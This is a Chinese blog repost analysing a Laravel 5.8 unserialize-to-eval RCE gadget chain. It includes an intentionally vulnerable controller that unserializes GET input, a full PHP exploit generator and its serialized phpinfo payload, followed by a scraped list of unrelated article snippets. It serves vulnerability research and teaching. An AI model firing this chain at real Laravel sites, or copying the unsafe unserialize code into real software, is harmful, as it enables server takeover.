原帖地址 : https://xz.aliyun.com/t/6059

Laravel 代码审计

环境搭建

  • composer create-project --prefer-dist laravel/laravel laravel58 安装 Laravel 5.8 并生成 laravel58 项目

  • 进入项目文件夹,使用 php artisan serve 启动 web 服务

  • laravel58/routes/web.php 文件添加路由

    Route::get("/","\App\Http\Controllers\DemoController@demo");
  • laravel58/app/Http/Controllers/ 下添加 DemoController.php 控制器

    <?php
    namespace App\Http\Controllers; class DemoController extends Controller
    {
    public function demo()
    {
    if(isset($_GET['c'])){
    $code = $_GET['c'];
    unserialize($code);
    }
    else{
    highlight_file(__FILE__);
    }
    return "Welcome to laravel5.8";
    }
    }

漏洞分析

  • ph 牛的 payload : https://github.com/ambionics/phpggc/pull/61

  • Illuminate\Broadcasting\PendingBroadcast 类的 __destruct 方法开始的 pop 链

  • Illuminate\Broadcasting\PendingBroadcast 中,$events 必须实现 Dispatcher 接口,这里选择的是 Illuminate\Bus\Dispatcher

    public function __construct(Dispatcher $events, $event)
    {
    $this->event = $event;
    $this->events = $events;
    } public function __destruct()
    {
    $this->events->dispatch($this->event);
    }
  • Illuminate\Bus\Dispatcher 中,调用 dispatch 方法,进入 if 判断,$this->queueResolver 是在实例化 Illuminate\Bus\Dispatcher 时的一个参数,它必须有值,$command 也就是 $this->event 必须实现 ShouldQueue 接口,这里选择的就是 Illuminate\Broadcasting\BroadcastEvent

    // $command : $this->event
    public function dispatch($command)
    {
    if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
    return $this->dispatchToQueue($command);
    } return $this->dispatchNow($command);
    } public function __construct(Container $container, Closure $queueResolver = null)
    {
    $this->container = $container;
    $this->queueResolver = $queueResolver;
    $this->pipeline = new Pipeline($container);
    } protected function commandShouldBeQueued($command)
    {
    return $command instanceof ShouldQueue;
    }
  • 到这里,构造出的 exp :

    <?php
    namespace Illuminate\Broadcasting {
    class PendingBroadcast {
    protected $events;
    protected $event;
    function __construct($evilCode)
    {
    $this->events = new \Illuminate\Bus\Dispatcher();
    $this->event = new BroadcastEvent($evilCode);
    }
    }
    }
    ?>
  • 然后进入 dispatchToQueue 方法,存在 call_user_func 方法,其中的 $this->queueResolver 是可控的,这里利用的是 Mockery\Loader\EvalLoaderload 方法,即 $this->queueResolverarray(new Mockery\Loader\EvalLoader(), "load")

    public function dispatchToQueue($command)
    {
    $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection); if (! $queue instanceof Queue) {
    throw new RuntimeException('Queue resolver did not return a Queue implementation.');
    } if (method_exists($command, 'queue')) {
    return $command->queue($queue, $command);
    } return $this->pushCommandToQueue($queue, $command);
    }
  • 这个点的意思就是

    1. $this->events 调用 dispatch 传入参数 $this->event
    2. 访问 $this->eventsqueueResolver 属性
    3. 调用 $this->events->commandShouldBeQueued($this->event) 方法
    4. 调用 dispatchToQueue 传入 $this->event 参数。其中的 $connection$this->event->connection ,即 Illuminate\Broadcasting\BroadcastEvent 中的 $connection 属性
    5. call_user_func$connection 作为参数传给 $this->queueResolver 返回的函数
  • 到这里,构造出的 exp 如下,已经实现 call_user_func($this->queueResolver, $connection)call_user_func($evilFunc, $evilCode) ,接下来就要寻找一个可以利用的函数,这里选择的是 Mockery\Loader\EvalLoader ,继续跟进

    <?php
    namespace Illuminate\Broadcasting {
    class PendingBroadcast {
    protected $events;
    protected $event;
    function __construct($evilCode)
    {
    $this->events = new \Illuminate\Bus\Dispatcher();
    $this->event = new BroadcastEvent($evilCode);
    }
    } class BroadcastEvent {
    public $connection;
    function __construct($evilCode)
    {
    $this->connection = $evilCode;
    }
    }
    } namespace Illuminate\Bus {
    class Dispatcher {
    protected $queueResolver;
    function __construct()
    {
    $this->queueResolver = $evilFunc;
    }
    }
    }
  • Mockery\Loader\EvalLoader 中有一个 eval 函数可以利用,这里的 $definitionMockDefinition 类的实例化对象,也就说明 $this->event->connectionMockDefinition 类的实例化对象。接下来就是绕过 if 判断。

    class EvalLoader implements Loader
    {
    public function load(MockDefinition $definition)
    {
    if (class_exists($definition->getClassName(), false)) {
    return;
    } eval("?>" . $definition->getCode());
    }
    }
  • 跟进 Mockery\Generator\MockDefinition ,如果要绕过 if 判断,必须让 getClassName 返回一个不存在的类名,即 $this->config->getName() 返回一个不存在的类名。$configMockery\Generator\MockConfiguration 的实例化对象

    class MockDefinition
    {
    protected $config;
    protected $code; public function __construct(MockConfiguration $config, $code)
    {
    if (!$config->getName()) {
    throw new \InvalidArgumentException("MockConfiguration must contain a name");
    }
    $this->config = $config;
    $this->code = $code;
    } public function getConfig()
    {
    return $this->config;
    } public function getClassName()
    {
    return $this->config->getName();
    } public function getCode()
    {
    return $this->code;
    }
    }
  • Mockery\Generator\MockConfiguration 中,让 getName() 返回一个不存在的类名,最终执行 eval("?>" . $definition->getCode()); 实现 RCE

    class MockConfiguration
    {
    protected $name; public function getName()
    {
    return $this->name;
    }
    }
  • 最终的 exp ,(ph 牛的 exp ) :

    <?php
    namespace Illuminate\Broadcasting {
    class PendingBroadcast {
    protected $events;
    protected $event;
    function __construct($evilCode)
    {
    $this->events = new \Illuminate\Bus\Dispatcher();
    $this->event = new BroadcastEvent($evilCode);
    }
    } class BroadcastEvent {
    public $connection;
    function __construct($evilCode)
    {
    $this->connection = new \Mockery\Generator\MockDefinition($evilCode);
    }
    }
    } namespace Illuminate\Bus {
    class Dispatcher {
    protected $queueResolver;
    function __construct()
    {
    $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
    }
    }
    } namespace Mockery\Loader {
    class EvalLoader {}
    }
    namespace Mockery\Generator {
    class MockDefinition {
    protected $config;
    protected $code;
    function __construct($evilCode)
    {
    $this->code = $evilCode;
    $this->config = new MockConfiguration();
    }
    }
    class MockConfiguration {
    protected $name = 'abcdefg';
    }
    } namespace {
    $code = "<?php phpinfo(); exit; ?>";
    $exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
    echo serialize($exp);
    }
    ?>
  • 构造输出结果 :

    O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}

一些思考

  • 危险函数的寻找

    eval,call_user_func

  • phpstorm + xdebug 调试代码

  • PHP 序列化的时候 private 和 protected 变量会引入不可见字符 \x00\00Test\00y 为 private,\00*\00 为 protected,注意这两个 \x00 就是 ascii 码为 0 的字符。这个字符显示和输出可能看不到,甚至导致截断,url 编码后就可以看得很清楚了。此时,为了更加方便进行反序列化 payload 的传输与显示,我们可以在序列化内容中用大写 S 表示字符串,此时这个字符串就支持将后面的字符串用 16 进制表示。

    <?php
    class Test
    {
    public $x="peri0d";
    private $y="peri0d";
    protected $z="peri0d";
    } $k = new Test(); echo serialize($k); // O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}
    ?>
  • 反序列化测试代码 :

    <?php
    // 环境 : php 7.1.13 nts
    class Test
    {
    public $x="peri0d";
    private $y="peri0d";
    protected $z="peri0d";
    } $n = new Test();
    var_dump(serialize($n));
    var_dump(unserialize(serialize($n))); // 成功 $k = 'O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}';
    var_dump(unserialize($k)); // 成功 $m = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"\00Test\00y";s:6:"peri0d";s:4:"\00*\00z";s:6:"peri0d";}';
    var_dump(unserialize($m)); // 失败 $l = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"Testy";s:6:"peri0d";s:4:"*z";s:6:"peri0d";}';
    var_dump(unserialize($l)); // 失败
    ?>

参考链接

Laravel 5.8 RCE 分析的更多相关文章

  1. laravel中间件源码分析

    laravel中间件源码分析 在laravel5.2中,HTTP 中间件为过滤访问你的应用的 HTTP 请求提供了一个方便的机制.在处理逻辑之前,会通过中间件,且只有通过了中间件才会继续执行逻辑代码. ...

  2. laravel框架源码分析(一)自动加载

    一.前言 使用php已有好几年,laravel的使用也是有好长时间,但是一直对于框架源码的理解不深,原因很多,归根到底还是php基础不扎实,所以源码看起来也比较吃力.最近有时间,所以开启第5.6遍的框 ...

  3. CVE-2019-9081:laravel框架序列化RCE复现分析

    这里贴上两篇大佬的分析的帖子 本人习惯把平常的一些笔记或者好的帖子记录在自己的博客当中,便于之后遇到同样的漏洞时快速打开思路 1.https://xz.aliyun.com/t/5510#toc-8 ...

  4. Laravel 5.7 RCE (CVE-2019-9081)

    Laravel 代码审计 环境搭建 Laravel 5.7 文档 : https://learnku.com/docs/laravel/5.7/installation/2242 Composer 下 ...

  5. Laravel 获取当前 Guard 分析 —源自电商购物车的实际需求

    iBrand 产品中关于购物车的需求比较复杂,我们基于 overture/laravel-shopping-cart 扩展出了更加符合电商需求的购物车包,之前有文章进行过简单的介绍: Laravel ...

  6. Joomla 3.4.6 RCE 分析

    Joomla 3.4.6 RCE 漏洞分析,首发先知社区: https://xz.aliyun.com/t/6522 漏洞环境及利用 Joomla 3.4.6 : https://downloads. ...

  7. thinkphp 5.1框架利用及rce分析

    前言 上个学期钻研web渗透的时候接触过几个tp的框架,但那时候还没有写blog的习惯,也没有记录下来,昨天在做ctf的时候正好碰到了一个tp的框架,想起来就复现一下 正文 进入网站,标准笑脸,老tp ...

  8. 【PHP】用了这么久的Laravel框架,你分析过核心架构了没

    Laravel最初的设计是为了面向MVC架构的,它可以满足如事件处理.用户身份验证等各种需求.另外它还有一个由管理数据库强力支持,用于管理模块化和可扩展性代码的软件包管理器. Laravel以其简洁. ...

  9. CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】

    昨天看了下'Follina' MS-MSDT n-day Microsoft Office RCE 这个漏洞,修改了下chvancooten的脚本,实现可以自定义word模板,便于实战中钓鱼使用,自己 ...

随机推荐

  1. windows常用系统命令

    dir指定要列出的驱动器.目录和/或文件 显示当前路径下的所有文件的绝对路径,包含子文件夹中的内容 dir /b / s /o:n /a:a /b 表示去除摘要信息,且顶格显示完整路径 /s 表示枚举 ...

  2. Java - Java开发中的安全编码问题

    目录 1 - 输入校验 1.1 SQL 注入防范 1.2 XSS防范 1.3 代码注入/命令执行防范 1.4 日志伪造防范 1.5 XML 外部实体攻击 1.6 XML 注入防范 1.7 URL 重定 ...

  3. 特征选择与稀疏学习(Feature Selection and Sparse Learning)

    本博客是针对周志华教授所著<机器学习>的"第11章 特征选择与稀疏学习"部分内容的学习笔记. 在实际使用机器学习算法的过程中,往往在特征选择这一块是一个比较让人模棱两可 ...

  4. LightOJ - 1341 Aladdin and the Flying Carpet 唯一分解定理LightOJ 1220Mysterious Bacteria

    题意: ttt 组数据,第一个给定飞毯的面积为 sss,第二个是毯子的最短的边的长度大于等于这个数,毯子是矩形但不是正方形. 思路: 求出 sss 的所有因子,因为不可能是矩形,所以可以除以 222, ...

  5. 服务器上安装.NET Framework 3.5 sp1

    操作系统是Windows Server 2008 R2 或 Windows Server 2012 或 Windows Server 2012 R2,可以直接进入“服务器管理器”添加“功能”.

  6. Python查看3Dnii文件

    from nibabel.viewers import OrthoSlicer3D from nibabel import nifti1 import nibabel as nib from matp ...

  7. [codevs1036]商务旅行<LCA:tarjan&倍增>

    题目链接:http://codevs.cn/problem/1036/ 今天翻箱倒柜的把这题翻出来做了,以前做的时候没怎么理解,所以今天来重做一下 这题是一个LCA裸题,基本上就把另一道裸题小机房的树 ...

  8. 文件输入输出实例&Ptask的编写

    前言 最近在写Ptask,顺便了解了如何进行文件读入输出.而在Ptask中最重要,也是最最容易出bug的地方就是文件操作.那么如何进行文件输入输出,在程序中起到重要作用呢? 输入 首先为了保证可以在控 ...

  9. IdentityServer 部署踩坑记

    IdentityServer 部署踩坑记 Intro 周末终于部署了 IdentityServer 以及 IdentityServerAdmin 项目,踩了几个坑,在此记录分享一下. 部署架构 项目是 ...

  10. Docker基础修炼1--Docker简介及快速入门体验

    本文作为Docker基础系列第一篇文章,将详细阐述和分析三个问题:Docker是什么?为什么要用Docker?如何快速掌握Docker技术? 本系列文章中Docker的用法演示是基于CentOS7进行 ...